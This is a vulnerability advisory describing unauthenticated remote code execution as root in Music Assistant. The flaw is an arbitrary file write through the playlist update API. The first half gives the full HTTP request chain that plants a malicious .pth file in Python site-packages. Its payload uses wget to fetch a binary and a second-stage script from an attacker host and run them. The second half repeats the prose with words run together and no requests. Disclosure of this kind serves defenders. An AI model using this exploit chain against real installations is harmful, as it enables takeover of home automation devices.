Summary
This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Music Assistant. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the Music Assistant service. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of root.
Details
2.1 Music Assistant Remote Code Execution
2.1.1 Unprotected Service Exposure
The Music Assistant web interface exposed on port 8095 is publicly accessible to the network and can be accessed
anonymously even when installed as add-on for the Home Assistant Green device.
This web interface is vulnerable to the arbitrary file write vulnerability when the local file system provider is used.
2.1.2 Arbitrary File Write
The playlist functionality in the local file system provider is implemented as a file with the .m3u extension that is stored inside
the filesystem. Generally, when a new playlist is created, the code appends the .m3u extension to the playlist name provided
by the user.
However, the music/playlists/update API command allows users to update the playlist details allowing users to modify the file path where the playlist will be stored without enforcing the .m3u extension. Additionally, because the music assistant application inside the docker container is running as root, the file can be written on the entire filesystem.
To gain remote code execution, a .pth file is stored in the /app/venv/lib/python3.13/site-packages folder. The following section shows all HTTP requests required to create the .pth file inside the /app/venv/lib/python3.13/site-packages folder and write arbitrary commands that will be later executed.
The following HTTP request is used to create a new local file system provider using the root directory as the base path in order to have access to the entire file system:
"POST /api HTTP/1.1"
"Host: 10.0.0.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://10.0.0.9:8095/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Content-Length: 241
Content-Type: application/json
{""command"":""config/providers/save"",""message_id"":15,""args"":{""provider_domain"":""filesystem_loc al"",""values"":{""content_type"":""music"",""path"":""/"",""missing_album_artist_action"":""various_artists"",""ignore_album_playlists"":true,""log_level"":""GLOBAL""}}}"
HTTP Response returning the local file system instance identifier:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 3072
Date: Mon, 01 Sep 2025 18:28:25 GMT
Server: Python/3.13 aiohttp/3.11.18
[CUT BY COMPASS],"action_label":null,"value":"GLOBAL"}},"type":"music","domain":"filesystem_local","instance_id":"filesystem_local--
N3mo8W6h","enabled":true,"name":null,"last_error":null}
The following HTTP request is used to create a new playlist named test123 using the newly created file system provider:
POST /api HTTP/1.1
Host: 10.0.0.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/139.0.0.0 Safari/537.36
Origin: http://10.0.0.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 146
Content-Type: application/json
{"command":"music/playlists/create_playlist","message_id":21,"args":{"name":"test123","provider_instance_or_domain":"filesystem_local--N3mo8W6h"}}
The HTTP response returns the identifier of the newly created playlist. The provider_mappings object shows that the local
file being used for storing the playlist information is test123.m3u:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 959
Date: Mon, 01 Sep 2025 18:30:43 GMT
Server: Python/3.13 aiohttp/3.11.18
{"item_id":"16","provider":"library","name":"test123","version":"","sort_name":"test123","uri":"library://playlist/17","external_ids":[],"is_playable":true,"translation_key":null,"media_type":"playlist","provider_mappings":[{"item_id":"test123.m3u","provider_domain":"filesystem_local","provider_instance":"filesystem_local--
N3mo8W6h","available":true,"[CUT BY COMPASS]
The following HTTP request is used to update the playlist details, changing the file used to store the playlist information. The
new file is a csnc.pth file inside the site-packages directory of the python environment:
POST /api HTTP/1.1
Host: 10.0.0.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/139.0.0.0 Safari/537.36
Origin: http://10.0.0.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 1125
Content-Type: application/json
{"command":"music/playlists/update","message_id":99,"args":{ "item_id":"16",[CUT BY COMPASS]release_date":null,"languages":"csnc","chapters":null,"last_refresh":null},"provider_mappings":[{"item_id":"/app/venv/lib/python3.13/sitepackages/csnc.pth","provider_[CUT BY COMPASS]
The HTTP response shows that the update was completed successfully:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1004
Date: Mon, 01 Sep 2025 18:13:38 GMT
Server: Python/3.13 aiohttp/3.11.18
{"item_id":"16","provider":"library","name":"csnc","version":"","sort_name":"csnc","uri":"library://playlist/16","external_ids":[["unknown","s"]],"is_playable":true,"translation_key":null,"media_type":"playlist","provider_mappings":[{"item_id":"/app/venv/lib/python3.13/sitepackages/csnc.pth","provider_domain":"builtin","provider_instance":"builtin","available":true,"[CUT BY COMPASS]
The following HTTP request is used to add a track to the updated playlist. The track includes the Python code to execute the
commands shown below:
POST /api HTTP/1.1
Host: 10.0.0.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/139.0.0.0 Safari/537.36
Origin: http://10.0.0.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 179
Content-Type: application/json
{"command":"music/playlists/add_playlist_tracks","message_id":300,"args":{"db_playlist_id":"16","uris":["#csnc://track/\nimport os; os.system('mv /app/venv/lib/python3.13/sitepackages/csnc.pth /app/venv/lib/python3.13/site-packages/csnc.pth_old; " + f"wget
http://<ATTACKER_IP>:8000/tcpdump -O tcpdump; " + f"wget
http://<ATTACKER_IP>:5000/second_step.py -O second_step.py; " + f"chmod 777 tcpdump; python3
second_step.py <ATTACKER_IP> 5000 tcpdump')"]}}
The HTTP response shows that this completed successfully:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 4
Date: Mon, 01 Sep 2025 18:13:40 GMT
Server: Python/3.13 aiohttp/3.11.18
null
The commands written into the csnc.pth file are the following:
-
mv /app/venv/lib/python3.13/site-packages/csnc.pth /app/venv/lib/python3.13/sitepackages/ csnc.pth_old: replace the .pth extension with the .pth_old extension to prevent the csnc.pth codeto be executed twice
-
wget http://<ATTACKER_IP>:8000/tcpdump -O tcpdump: download the tcpdump binary from the attacker controlled
laptop
-
wget http://<ATTACKER_IP>:5000/second_step.py -O second_step.py: download the Python script with the second stage of the exploit from the attacker-controlled laptop
-
chmod 777 tcpdump: set the execution bit on the tcpdump binary
-
python3 second_step.py <ATTACKER_IP> 5000 tcpdump: execute the Python script with the second stage of
the exploit. The <ATTACKER_IP> and the 5000 input arguments are used for setting up remote logging.
2.1.3 Trigger Execution
The lines starting with import inside the csnc.pth file are executed at every Python startup. Starting a new Python
execution can be done by configuring a new YouTube Music provider. The following HTTP request is sent to configure it and
trigger the execution:
POST /api HTTP/1.1
Host: 10.0.0.9:8095
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/139.0.0.0 Safari/537.36
Origin: http://10.0.0.9:8095
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Content-Length: 199
Content-Type: application/json
{"command":"config/providers/save","message_id":1105,"args":{"provider_domain":"nc -
","values":{"username":"test","cookie":"test","po_token_server_url":"http://127.0.0.1:4416",
"log_level":"GLOBAL"}}}
The HTTP response shows an error:
HTTP/1.1 500 Internal Server Error
Content-Type: text/plain; charset=utf-8
Content-Length: 55
Date: Tue, 02 Sep 2025 14:22:56 GMT
Server: Python/3.13 aiohttp/3.11.18
Connection: close
500 Internal Server Error
Server got itself in trouble
However, at this point the commands shown before are already executed, allowing remote code execution.
Summary
This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Music Assistant. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the Music Assistant service. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of root.
Details
2.1 Music Assistant Remote Code Execution
2.1.1 Unprotected Service Exposure
The Music Assistant web interface exposed on port
8095is publicly accessible to the network and can be accessedanonymously even when installed as add-on for the Home Assistant Green device.
This web interface is vulnerable to the arbitrary file write vulnerability when the local file system provider is used.
2.1.2 Arbitrary File Write
The playlist functionality in the local file system provider is implemented as a file with the
.m3uextension that is stored insidethe filesystem. Generally, when a new playlist is created, the code appends the
.m3uextension to the playlist name providedby the user.
However, the
music/playlists/updateAPI command allows users to update the playlist details allowing users to modify the file path where the playlist will be stored without enforcing the.m3uextension. Additionally, because the music assistant application inside the docker container is running as root, the file can be written on the entire filesystem.To gain remote code execution, a
.pthfile is stored in the/app/venv/lib/python3.13/site-packagesfolder. The following section shows all HTTP requests required to create the.pthfile inside the/app/venv/lib/python3.13/site-packagesfolder and write arbitrary commands that will be later executed.The following HTTP request is used to create a new local file system provider using the root directory as the base path in order to have access to the entire file system:
HTTP Response returning the local file system instance identifier:
The following HTTP request is used to create a new playlist named
test123using the newly created file system provider:The HTTP response returns the identifier of the newly created playlist. The
provider_mappingsobject shows that the localfile being used for storing the playlist information is
test123.m3u:The following HTTP request is used to update the playlist details, changing the file used to store the playlist information. The
new file is a
csnc.pthfile inside thesite-packagesdirectory of the python environment:The HTTP response shows that the update was completed successfully:
The following HTTP request is used to add a track to the updated playlist. The track includes the Python code to execute the
commands shown below:
The HTTP response shows that this completed successfully:
The commands written into the
csnc.pthfile are the following:mv /app/venv/lib/python3.13/site-packages/csnc.pth /app/venv/lib/python3.13/sitepackages/ csnc.pth_old: replace the.pthextension with the.pth_oldextension to prevent thecsnc.pthcodeto be executed twicewget http://<ATTACKER_IP>:8000/tcpdump -O tcpdump: download thetcpdumpbinary from the attacker controlledlaptop
wget http://<ATTACKER_IP>:5000/second_step.py -O second_step.py: download the Python script with the second stage of the exploit from the attacker-controlled laptopchmod 777 tcpdump: set the execution bit on thetcpdumpbinarypython3 second_step.py <ATTACKER_IP> 5000 tcpdump: execute the Python script with the second stage ofthe exploit. The
<ATTACKER_IP>and the5000input arguments are used for setting up remote logging.2.1.3 Trigger Execution
The lines starting with import inside the
csnc.pthfile are executed at every Python startup. Starting a new Pythonexecution can be done by configuring a new YouTube Music provider. The following HTTP request is sent to configure it and
trigger the execution:
The HTTP response shows an error:
However, at this point the commands shown before are already executed, allowing remote code execution.